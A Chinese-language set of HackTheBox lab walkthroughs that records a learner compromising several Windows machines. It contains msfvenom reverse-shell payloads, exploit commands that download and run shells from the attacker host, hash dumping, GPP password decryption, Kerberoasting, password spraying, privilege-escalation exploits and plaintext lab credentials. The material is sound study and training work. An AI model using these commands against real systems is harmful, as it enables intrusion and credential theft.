我发现拼接命令一直没办法执行我才发现这里并不是命令执行而是传上去的链接它会自动点

当我传入一个连接的时候就会被请求我并不清楚他会不会将文件保存本地如果存入了我也不知道他会存到哪因为他是一个php的站我也传了一个ftshell的php 也没有弹回来

如果这里是XSS 其实还能外带点东西但是我不清楚他到底是咋运行的 php发起请求？还是php的system eval等发起的

后续研究了半天都不是那些发起的如果当前传上去的有多个url 他会分开访问如果存在’)$等符号则不会访问同时我发现

1

http://10.10.10.97/change_pass.php?password=password1&confirm_password=password1&submit=submit

这个可以执行成功思路就清晰了把这个传过去让他改密码而且他的名字我们也有

成功

中间的估计是敲门下面的是smb的账密和共享文件夹

先试试下面的简单地把

我将这两个文件下载了下来他俩貌似指向8808端口尝试看看图片有没有隐写结果是不存在的奇怪的是我去我生成了png的md5 在google上没有搜到相同的这代表这个图片可能不是默认的而是一种截图？

在稍后思考了一会我感觉方向又错了可能这就是8808端口的站点而iisstart就是 iis默认设置的初始页面试试看

没问题的不清楚后端是啥写的在我strings图片的时候看到了里面包含了.net 可能后端就是c#写的先传asp不行再传php

1

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x> ./back.asp

奇怪的是我传上去的back.asp报404 但是他就在目录当中然后我以为我理解错了这就不是web目录然后我传了个1.txt 发现还是能访问的所以这里限制后缀了？可能需要绕过

我尝试了几个后缀完全不行我开始尝试php

没有问题成功解析但是我那个反弹shell是linux的这里改一下就行了

一句话

他会定时清空smb共享目录这里把shell put上去 webshell在执行就OK了

拿到shell了

这个shell连systeminfo都无法执行还是先看看web站点把

1
2
3
4
5
6
7


server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'secnotes');
define('DB_PASSWORD', 'q8N#9Eos%JinE57tke72');
//define('DB_USERNAME', 'root');
//define('DB_PASSWORD', 'qwer1234QWER!@#$');
define('DB_NAME', 'secnotes');

数据库账密可能需要搭隧道将mysql带出来

1

mysql -h 127.0.0.1 -P 6000 -u secnotes -p'q8N#9Eos%JinE57tke72'

搭了隧道之后成功上来了可惜的是root无法访问并且没有任何东西

接着翻目录奇怪的是在我拿到flag的时候看到Desktop处有一个bash.lnk 指向system里的bash.exe 这一点很奇怪

而且并没有报错说明是可用的环境变量存在尝试了很多命令都无法执行在根目录发现了一个ubuntu.zip的压缩包

Distros里面找到了Ubuntu 我开始搜索目录结构看看这是个啥东西

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


AppxBlockMap.xml
AppxManifest.xml
AppxMetadata
AppxSignature.p7x
Assets
images
install.tar.gz
resources.pri
temp
ubuntu.exe
[Content_Types].xml

提示我这是子系统? 开始找利用方法

https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/WSL%E5%AD%90%E7%B3%BB%E7%BB%9F.md

1
2
3
4
5
6
7
8


wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
bash文件
bash.exe也可以在C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
或者，探索WSL的文件系统
C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

第一种 wsl没找到在哪 ./ubuntun.exe config –default-user root执行直接卡死

第二种 bash.exe

可以看到完全没作用

第三种能找到具体目录

第一件事我就去找了root的history 毕竟linux打了很多了

smb连接提供了账密那就很简单了连上去就可以了

1
2


/opt/impacket/build/scripts-3.12/psexec.py administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97
/opt/impacket/build/scripts-3.12/smbexec.py administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97

结束

总体感觉还好不太熟练的点就是windows提权

10.Bastion

信息收集:

看到第一眼如果smb没有东西那么就真的卡死了

还好有匿名能访问的

1

smbclient -N //10.10.10.134/Backups

全下载了下来有一个文件把我卡死了它提示不要全部下载很慢的

就是这个文件他还在增长实在太大了按照提示我没把他下载下来然后给他删了太占空间了

其实从这里开始再根据他开的服务大概率就是让我自己去找账号密码除此之外我想不到这个靶场还能怎么做

我使用这个方法挂载了那个比较小的vhd文件但是打开之后里面为空白啥都没有估计在那个大的vhd文件里有东西但是下载又太慢了或许走smb服务挂载可能会好点？

搜着搜着这个博客的ip和方法跟wp一模一样所以我还是接着换了

https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25

这个博客跟刚刚那个方法也一样也是针对这个lab的

后续我找了很久基本上都是针对这个lab的如果说目前没有出来这个靶场我自行寻找的话估计会很困难原理其实很好理解我刚刚也是下载了半天太大了下载又慢所以他利用了cifs smb文件共享直接将目标smb服务里的vhd直接挂载到本地这样的话在本地进行挨个访问时再加载实际使用我反而不会而且我已经想到后续如何利用了就是把SAM或者HTDS.dit拖出来 PTH 或者走winrm 都可以然后拿到shell 不然我感觉没有其他路能走除非密码已经被改需要再去找ssh的密码？

1
2
3
4
5
6


apt-get install libguestfs-tools
apt-get install cifs-utils
mkdir /mnt/remote
mkdir /mnt/vhd
mount -t cifs //10.10.10.134/backups /mnt/remote -o rw
guestmount --add /mnt/remote/WindowsImageBackup/L4mpje-PC/'Backup 2019-02-22 124351'/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/vhd -v

需要将 C:\Windows\System32\config下面的SAM文件和SYSTEM文件移出来改名sam.hiv和system.hiv

然后解密就行了我的kali种没有这个py文件我就移到windows解了

1
2
3
4
5
6


[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Cleaning up...

administrator为空密码大概率还要重新上去提权

在我尝试了大量的登陆操作时发现一直报错鉴权失败尝试了很久才想起来还有个22端口没用

成功上来了这里省略很久我一直在翻文件但是啥都没有后续我想到可以sudo su之类的但是这明显不行不现实突然就想通了既然我现在是ssh 那么是不是也可以用公钥连上来？毕竟SAM告诉我这个密码为空虽然不一定为空所以现在去找公钥

在这里找到了配置文件

但是PubkeyAuthentication被注释了貌似不允许公钥登录

但是我在最下面找到了一个匹配组管理员的公钥？

但是完全没有权限

我尝试再回到挂载处再去找备份挨个翻我在那里没有尝试翻过 ssh目录

啥也没有

这里我完全卡死了我没有先看wp 我看了hackthebox的下一步提示

也就是还有个远程连接工具？

成功找到了

根据提示

https://github.com/mRemoteNG/mRemoteNG/issues/1963

password

1

aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==

https://www.errno.fr/mRemoteNG.html

https://github.com/gquere/mRemoteNG_password_decrypt/ #解密脚本

因为复制会导致格式混乱所以我用smb把他传了出来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


smbserver.py kali .
copy .\confCons.xml \\10.10.16.29\kali\confCons.xml
python mremoteng_decrypt.py confCons.xml

result:
Name: DC
Hostname: 127.0.0.1
Username: Administrator
Password: thXLHM96BeKL0ER2

Name: L4mpje-PC
Hostname: 192.168.1.75
Username: L4mpje
Password: bureaulampje

结束

难度还好 getshell部分如果没有后来者写的博客来提示远程挂载的用法或许我会找很久提权的部分卡住了没有仔细去翻每个程序我当时只翻了 Program Files 没有翻Program Files (x86) 还是依靠hackthebox的闯关模式提交了user的flag才得到的下一步还是得多练吧

清除挂载不清除会有点卡

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


# 先切换出挂载目录
cd /

# 检查进程
lsof | grep '/mnt/vhd'
fuser -mv /mnt/vhd

# 结束相关进程
kill <pid> # 或 kill -9 <pid> 强制结束

# 卸载VHD
guestunmount /mnt/vhd
# 如果不行，尝试：
fusermount -u /mnt/vhd

# 卸载CIFS共享
umount /mnt/remote
# 如果提示busy，可以用：
umount -l /mnt/remote # 懒惰卸载
# 或
umount -f /mnt/remote # 强制卸载

# 最后删除挂载点
rmdir /mnt/vhd
rmdir /mnt/remote

11.Buff

信息收集:

8080端口是一个健身房的网站根据这个网站的readme.md文件经过一番搜索我找到了项目地址

https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/

这里有个初始密码但是已经被改了

我将项目下载了下来这里有个默认用户但是账密被改了

然后我开始代码审计发现upload.php 貌似没有进行鉴权

然后我在搜索exp的时候还真有CVE编号为了防止是靶场出来的后来者写的

https://www.exploit-db.com/exploits/48506

很明显这个靶场出来之前那个exp就有了所以不是别人写的wp

其实自行利用也简单构造文件上传的请求包确实有点麻烦但是我在本地搭建好捕获到请求包之后其实改个ip也可以实现这里直接用exp把

确实方便开始提权把

此处省略很久我尝试上传exe反弹shell 尝试了很久完全没效果 smb和certutil都不行

上传的shell打不开尝试了很久最终解决了

1
2
3


# 这个可以上传
curl http://10.10.16.29:33333/reserver_shell/shell296666.exe -o .\shell.exe
PHP Ivan Sincek 也可以反弹shell

提权：

貌似并没有连接数据库

但是数据库确实开了

我说怎么用不了

后续动不动就断线然后就动不了

后续换了openvpn节点就好了

我在shaun的download目录下找到了CloudMe_1112.exe

搜到了

根据提示我尝试启动CloudMe_1112.exe 结果在本地真开启了我不确定以shaun用户启动再进行缓冲区溢出是否能获取administrator权限但还是试试把

但是这个是启动在本地的需要搭建隧道

frp搭建隧道已经很多次了这里就不放了 exp稍微改改就行根据提示需要生成shellcode

1
2


# 根据他的提示不使用CMD 其实就是在后面加个LHOST=10.10.16.2 LPORT=3334就行
msfvenom -a x86 -p windows/shell_reverse_tcp -b '\x00\x0A\x0D' -f python LHOST=10.10.16.2 LPORT=3334

因为生成的是buf

所以复制完加一条 payload = buf 就行

执行成功后无任何回显

结束

这个靶场也还好 getshell的部分不难理解就是反弹shell的时候特别麻烦应该是网卡的原因但还好都是常规流程唯一就是要多学windows的提权部分在之前都是在Program Files这些里面找程序这次在用户目录里找到了还是花了很多时间的

12.ServMon

评分属实有点低了

信息收集：

smb没有匿名登录

ftp匿名登录有两个文件

根据提示 nathan的Passwords.txt 被放到了桌面然后就是Nathan的笔记他已经修改了密码然后锁住了NSClient的访问？下面还有上传密码他还有个秘密文件在sharepoint 删除公开的NVMS访问(这个没做到不然我也无法访问)

果然有个任意文件读取的漏洞可以把password读出来了

不知道为啥exp打不了手动才行貌似是我的参数问题

password读了出来目前靶机开放的服务有很多这些密码得挨个试

1
2
3
4
5
6
7
8
9


nathan

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

这个密码我在ftp ssh用hydra都不行 smb hydra不知道咋回事爆破不了

80端口的NVMS服务确实也无法访问 8443端口的NSClient跟他所说的一样被关闭了

在手动试试smb 结果也没有一个密码正确

之前试的都是nathan用户其实还有一个Nadine没试

成功

拿到了shell

开始提权：

根据提示我先去找sharepoint里的密码文件以及他说他要上传password 我不清楚这个password是指的passwords.txt那个文件还是什么跟着一起找找吧

password应该找不到了因为当前用户没有nathan的访问权唯一一个任意文件读取还不知道目录结构所以这个没办法简单的信息收集完了 nadine家目录里没有隐藏什么文件还是先扫一下吧

1

curl http://10.10.16.2:33333/winPEASany.exe -o .\winPEASany.exe

传上去立马被删了 systeminfo也不让看那就先去看看他说的sharepoint把

在找sharepoint的时候发现了sshconfig 但很可惜不让公钥认证不然还能读一下nathan的公钥

NSClient++的密码NSC.ini也没找到后续没找到sharepoint 完全没那个目录

后续我开始搜exp 发现NSClient++貌似存在本地用户提权我在本地没有找到版本文件但是还是按着来看看吧主要是他的教程提到了另一个密码文件

https://www.exploit-db.com/exploits/46802

果然他这个教程是有效的

1

password = ew2x6SsGTxjRwXOT

第二步提示要启动这些模块

我想查看启动参数是否包含这些但很可惜无法访问那就只能默认他携带了这些参数

我看教程貌似要用的web页面根据他的端口占用来看 8443就是可以被所有IP访问并不存在启动在本地的情况但是它提示过了NSClient++是被锁住了无法访问目前我先尝试在本地访问一下

后续在搜索的时候发现有一些脚本是通过API来实现的也就是我们不用去手点了并且我传了一个免杀的netcat 才没有被杀掉也就是说靶机上有杀毒软件

我尝试了这些exp 但都无一例外报错我尝试在本地访问一下

他会直接卡死这种情况

而且这台靶机没有python.exe 如果有的话我还能传exp上去本地执行这样看来就只能frp搭隧道了

搭好隧道结果https没有解析成功导致本地还是无法访问

到了这一步我只能将那些exp打包成exe 然后传上去使用了因为我一直觉得本地应该是能访问的

成功了

项目地址:https://github.com/xtizi/NSClient-0.5.2.35—Privilege-Escalation/blob/master/exploit.py

我终于明白评分为什么这么低了但是总体做下来感觉还好当时我都以为这条路可能行不通可能得去看看NVMS1000 但是NVMS都是关于目录穿越的漏洞完全找不到提权只有NSClient一搜全是RCE和提权但实际上这条路路上没有完整的攻击链支撑全都是靠猜首先我完全无法确定版本只有一个log文件我看到时间最多是2016年其次本地netcat也没有告诉我访问了之后这个服务是存在的所以说我试的时候都感觉不可能了可能他的提示

也就是告诉我只能在本地访问并且sharepoint不光是微软那个其实也代表web站点的意思总的来说还算是有意思的一个靶场评分低的原因可能就是靶机有杀毒软件很多工具用不了在后续我开始尝试如何在本地也能访问https站点

1
2
3
4
5


# 其实加个-k就行了
curl -k https://localhost:8443/index.html
# 我当时没有加文件 所以他的重定向我没有收到 我就以为为空
# 这里加参数-L 就能跟随
curl -k https://localhost:8443/ -L

13.Active

信息收集:

smb

默认有两个文件夹可以匿名访问还有两个需要登录

users貌似也要登陆

我开始翻那些文件夹的时候我发现我之前貌似学过这个 SYSVOL

https://xz.aliyun.com/t/1653?time__1311=n4%2BxniitG%3DDtdDKi%3D%3DDs03xCq7KGQ%3D8GeCoK7e4D

https://adsecurity.org/?p=2288

经过一番搜索也是翻到了密码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


function Get-DecryptedCpassword {
 [CmdletBinding()]
 Param (
 [string] $Cpassword
 )

 try {
 #Append appropriate padding based on string length
 $Mod = ($Cpassword.length % 4)

 switch ($Mod) {
 '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
 '2' {$Cpassword += ('=' * (4 - $Mod))}
 '3' {$Cpassword += ('=' * (4 - $Mod))}
 }

 $Base64Decoded = [Convert]::FromBase64String($Cpassword)

 #Create a new AES .NET Crypto Object
 $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
 [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

 #Set IV to all nulls to prevent dynamic generation of IV value
 $AesIV = New-Object Byte[]($AesObject.IV.Length)
 $AesObject.IV = $AesIV
 $AesObject.Key = $AesKey
 $DecryptorObject = $AesObject.CreateDecryptor()
 [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

 return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
 }

 catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

成功解开了

1
2


active.htb\SVC_TGS
GPPstillStandingStrong2k18

先挨个看接着来SMB服务然后在看其他的 Users能看了

还真的是Users文件夹拿到了flag

没有约束委派

接下来尝试了很久基本都是下面这两个其实我本应该尝试GetUserSPNs就结束了因为根据提示就是这样但是当时我没仔细看报错

1
2


GetUserSPNs.py DC.active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip active.htb -request
python getST.py -dc-ip active.htb -spn cifs/DC.active.htb -impersonate Administrator active.htb/SVC_TGS:GPPstillStandingStrong2k18

下面这个命令可以调整时间但是调整完过上几秒还是会报错

1

ntpdate -u active.htb && date

https://medium.com/@danieldantebarnes/fixing-the-kerberos-sessionerror-krb-ap-err-skew-clock-skew-too-great-issue-while-kerberoasting-b60b0fe20069

这个教程解决了我的问题可以调好时间

总而言之拿到了hash

1

hashcat -m 13100 1.txt /usr/share/wordlists/rockyou.txt

1

Ticketmaster1968

PTH

结束

感觉还好就是熟悉下域环境把调时钟那个没注意浪费了点时间总体还是熟悉域渗透

14.Remote

信息收集：

除了80以外全部挨个看一遍

匿名可以连上但是没有任何东西先做保留可能ftp的目录就是web站点的目录呢

smb没有匿名

nfs 之前打vulnhub用过几次但是有点久远了还好有笔记

1

showmount -e 10.10.10.180

1
2


mkdir ./site_backups
mount -t nfs 10.10.10.180:/site_backups ./site_backups

现在啥都有了该去看80端口到底是啥了

没发现有什么东西

我开始配合着看一下nfs 这里面的目录结构我算是第一次见所以我尝试去搜一下了解这是什么结构

搜了很多目录结构但是还是没有找到主页面我就直接find了 find的时候加载所有文件所以有点卡

1
2
3


find ./ -name *.html
find ./ -name *.aspx
find ./ -name *.asp

我发现这些文件集中在一个目录

我去搜了下Umbraco 还真是个框架

而他有很多RCE的漏洞现在我先去找版本信息

找了几个提示在管理页面提示查看应用程序？还有一个说的还能搜搜就是在webconfig里然后我开始找其他webconfig的同时直接打常见的exp 但是貌似要账密

我开始google加手动搜索账密 google上提示说账号密码都在数据库不会在其他地方的

我在搜索的时候发现了版本这个版本和我看的那个exp一模一样但是需要账密才能打

在google的时候我终于找到了sql的凭证

https://stackoverflow.com/questions/36979794/umbraco-database-connection-credentials

据他所说文件在App_Data/Umbraco.sdf 而且要将 Umbraco SQL CE 数据库转换为 SQL Express才行

根据他们提供的工具网址已经不能用了 http://sqlcetoolbox.codeplex.com/ 其他的教程也都是安装到vs里的插件但还是让我搜到了工具

https://github.com/ErikEJ/SqlCeToolbox/releases/download/4.8.732/SqlCe40ToolBox.zip

但是非常难用他利用的前提是必须要链接一个数据库才行不然解不开这里我完全卡死了我没想到一个简单难度的能把我卡死但事实上我再一次观察这个文件的时候我发现 cat的时候大部分都是二进制的所以看起来都是乱码这个是没问题的 strings的时候虽然也有乱码但是大部分是清晰可见的

我尝试不用工具直接strings看看

1

admin:baconandcheese

成功现在可以打exp了

https://github.com/noraj/Umbraco-RCE/blob/master/exploit.py

1

python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c ipconfig

验证没问题可以构造exp了

拿shell的路上有点艰难但好在解决了

1
2


python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a '-NoProfile -Command curl http://10.10.16.2:33333/Remote/shell.exe -o \\users\\Public\\shell.exe'
python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a '-NoProfile -Command start \\users\\Public\\shell.exe'

上来才想起来其实还有个ftp的从ftp传上来再执行也是没问题的我还一直再找可写入的文件夹还一直构造上传

直接烂土豆提权就行了

1
2


curl http://10.10.16.2:33333/Privilege_Escalation_tool_windows/PrintSpoofer64.exe -o .\PrintSpoofer64.exe
PrintSpoofer64.exe -i -c cmd

结束

总体感觉还是还好毕竟是简单难度就是找密码那里我一开始搜索过这个umbraco的数据库密码在哪或者说数据库文件在哪我尝试一直搜索但都没有说在哪后续我记不清我搜了啥就出了这样一个博客告诉了我这个数据库文件在哪一开始按照那个博客的方法走但是他需要链接一个新的数据库才行后续想了一会才发现strings是可以看到明文的接着就是反弹shell的部分我不清楚为什么不能用cmd的命令用了没有效果还会报错

还是用的这个exp的教程拼接命令才解决的基本上难度都集中在getshell的部分吧

15.Fuse

信息收集：

又是一个域控

ldap

dns

我选择先将这两个域名加入hosts

1

fuse.fabricorp.local. hostmaster.fabricorp.local

除此之外ldap没有拿到其他信息了目前该收集的都收集完了该看80端口了

自动重定向了

这么说我在dns那里获得的其实还有一个域名 hostmaster.fabricorp.local 貌似也能派上用场

80端口没有任何办法我开始把目标接着放到smb和ldap上我只单独的试了下smb是否能匿名链接并没有详细的去看其实还有很多种方法能在smb收集信息

1
2
3
4
5


enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>
smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip>
smbclient -U '%' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>
cme smb <ip> -u '' -p '' # 枚举可空Session访问的SMB共享
cme smb <ip> -u 'a' -p '' #枚举可匿名访问的SMB共享

1
2
3
4
5


Domain Name: FABRICORP
Domain Sid: S-1-5-21-2633719317-1471316042-3957863514

SMB fabricorp.local 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB fabricorp.local 445 FUSE [+] fabricorp.local\:

ldap我也看了没有啥东西 80端口也没东西我开始尝试爆破子域名可能可能会给我一些结果

1
2


dnsenum fabricorp.local --dnsserver 10.10.10.193
wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.193 -H "Host: FUZZ.fabricorp.local" --hh 103

发现了一个奇怪的地方有一个85的ip在域控的dns记录里也就是现在有一个域环境？85这台是域内主机？最终子域名全跑完了一个都没有

我把所有的信息整合到一起之后发现貌似没一处漏洞搞得现在很乱不清楚到底是什么情况

我开始把目光从smb dns ldap上移开尝试继续看看80端口主要是现在必须得拿一个账号或者用户名都可以这样才能收集到更多信息

将我的想法写下来之后想到这里我突然就醒悟了这个80端口的网站它显示了历史的打印日志日志里面不是有用户名吗？我之前明明看到过

1
2
3
4
5


pmerton
tlavel
sthompson
bhult
administrator

剩下就爆破了我这里也是挨个爆破挨个来

先试试 ASREP-Roasting攻击

都试了都不行根据我所学的到目前基本卡死了最后还有两条路一个adws没接触过看看是啥一个去找字典再爆破

我搜了adws方面的漏洞只有一个

HTLM中继我试过其他的方法但是ADWS是我第一次了解到

https://clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket/

https://www.youtube.com/watch?v=Blh9LAF92ro

这两个我看完了他讲了ADWS中继但是HTLM认证是要账密的所以这个完全没用

那就剩最后一种方法了我个人不是特别喜欢爆破因为总感觉没什么东西

弱口令也没爆破出来我没有打算使用cewl去获取字典因为看了一下也没什么获取的总之完全卡死了

目前所学的所有技巧都无法去获得信息先通过hackthebox的闯关提示来获得信息看看

找到了提示也就是那些用户实际上是存在弱口令的？还是老实用cewl获取密码来爆破把

还是很可惜完全没有结果这里我不得不看wp了在之前闲下来的时候看别人考oscp总结的经验就是一定要准备好字典有很多地方需要进行爆破的如果是我字典的问题刚好就让这个靶场扩充一下我的字典

1
2
3
4


cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > wordlist
cewl -d 5 -m 3 --with-numbers -w passwords.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm
cewl -w passfile.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers
cewl -w pwd.txt --with-numbers http://fuse.fabricorp.local/papercut/logs/html/index.htm

这是我翻到的好几个博客的这一步这一步其实没有过多解释就是要加数字加–with-numbers参数

1
2


cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > wordlist
crackmapexec smb fabricorp.local -u user.txt -p wordlist

1
2
3


# 拿到了两个账密 但都提示STATUS_PASSWORD_MUST_CHANGE 密码需要更改
fabricorp.local\bhult:Fabricorp01
fabricorp.local\tlavel:Fabricorp01

所以说我现在需要进行登录

我开始尝试能登陆的点根据开放的服务我可以去找 rpc smb ldap winrm 但是全都提示 NT_STATUS_PASSWORD_MUST_CHANGE

我咋感觉这密码拿到了跟没拿没啥区别

https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/

这个博客介绍了如何远程更改密码我尝试一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]
└─# smbpasswd -r 10.10.10.193 -U bhult
Old SMB password:
New SMB password:
Retype new SMB password:
machine 10.10.10.193 rejected the password change: Error was : The transport connection is now disconnected..

┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]
└─# smbpasswd -r 10.10.10.193 -U tlavel
Old SMB password:
New SMB password:
Retype new SMB password:
machine 10.10.10.193 rejected the password change: Error was : The transport connection is now disconnected..

┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]
└─# smbpasswd -r fabricorp.local -U tlavel
Old SMB password:
New SMB password:
Retype new SMB password:
machine fabricorp.local rejected the password change: Error was : The transport connection is now disconnected..

┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]
└─# smbpasswd -r fabricorp.local -U bhult
Old SMB password:
New SMB password:
Retype new SMB password:
machine fabricorp.local rejected the password change: Error was : The transport connection is now disconnected..

一直提示无法连接人都麻了它提示本地不能

https://daniel-schwarzentraub.medium.com/tryhackme-boot-to-root-room-razorblack-8b4ec8ec5118

这是另外一个靶场的wp 他也是这样他选择了用impacket-smbpasswd 来更改

根据提示我找到了这个 https://github.com/snovvcrash/impacket/blob/smbpasswd/examples/smbpasswd.py

终于成功了

1

python smbpasswd.py bhult@10.10.10.193

1

bhult:Fabricorp@123

结果密码还是没有被改还是原来的密码

用下面这个终于成功了

1
2


python smbpasswd.py bhult@fabricorp.local
bhult:Fabricorp@123!@#

我能使用rpc去连接然后断开了之后密码又变回去了我去网上找了个随机密码

1

bhult:2x@oteL8YOJa

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


smbclient -L //10.10.10.193/ -U bhult
Password for [WORKGROUP\bhult]:

	Sharename Type Comment
	--------- ---- -------
	ADMIN$ Disk Remote Admin
	C$ Disk Default share
	HP-MFT01 Printer HP-MFT01
	IPC$ IPC Remote IPC
	NETLOGON Disk Logon server share
	print$ Disk Printer Drivers
	SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available

现在能做很多事情了 (貌似是一分钟刷新一次还是连接之后立马刷新反正就是这两种逻辑中的一种)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]

1
2
3
4


GetUserSPNs.py fabricorp.local/bhult:YcfOrivT1QUp -dc-ip 10.10.10.193 -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

No entries found!

1
2
3
4
5
6


rpcclient -U "tlavel%9VwzPigFmknx" -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.10.193

RPC枚举的字典在后面 可以直接将所有信息筛出来 下面有一个有用的信息
flags:[0x800000]
	name:[\\10.10.10.193\HP-MFT01]
	description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]

我尝试登录scan2docs 但很可惜登陆不上后续我还是选择进行爆破上面还有其他账号

1

crackmapexec smb fabricorp.local -u username.txt -p "\$fab@s3Rv1ce\$1" --continue-on-success

1

svc-print:$fab@s3Rv1ce$1

没问题能访问但是并没有其他的目录我尝试接着使用winrm看看能不能获得shell

1

crackmapexec winrm fabricorp.local -u username.txt -p "\$fab@s3Rv1ce\$1" --continue-on-success

1

crackmapexec winrm fabricorp.local -u svc-print -p "\$fab@s3Rv1ce\$1"

winPEASany.exe没有给我太多结果先看看其他的然后不行再去试bloodhound

SeLoadDriverPrivilege 是个有意思的东西下面这两个博客解释的很好一个原文一个复现

https://cloud.tencent.com/developer/article/1180772

https://www.tarlogic.com/blog/seloaddriverprivilege-privilege-escalation/

也提到了为什么svc-print能登录

~~https://github.com/TarlogicSecurity/EoPLoadDriver/~~

~~eoploaddriver有编译好的了在作者的issue里 ~~~~https://github.com/TarlogicSecurity/EoPLoadDriver/issues/2~~

~~项目地址：https://github.com/umiterkol/EoPLoadDriver_Release/releases~~

~~上面有删除线的是原文提到的原本的程序需要配合sys使用自由度很高~~

下面这个项目也是原文里提到的打包成EXE就行了

https://github.com/tandasat/ExploitCapcom/

他会弹出一个cmd窗口里面是管理员权限但很明显这不是我们想要的所以稍微改一下就行

其实就是在这个位置调用的

想执行什么改成什么就行因为svc-print在winPEASany中给我的结果是svc-print用户的目录所有人都可写所以我选择了这个目录

根据教程我要先加载才行但它提示没有这个权限？

我google这个问题就是典型的权限不够

如果直接执行的话会提示(下面这个原因就是没有加载Capcom.sys)

到了此处我才明白所有逻辑上面那个项目提示我们要加载Capcom.sys 而加载就要靠poc工具加载完成后再使用上面的exp打上去

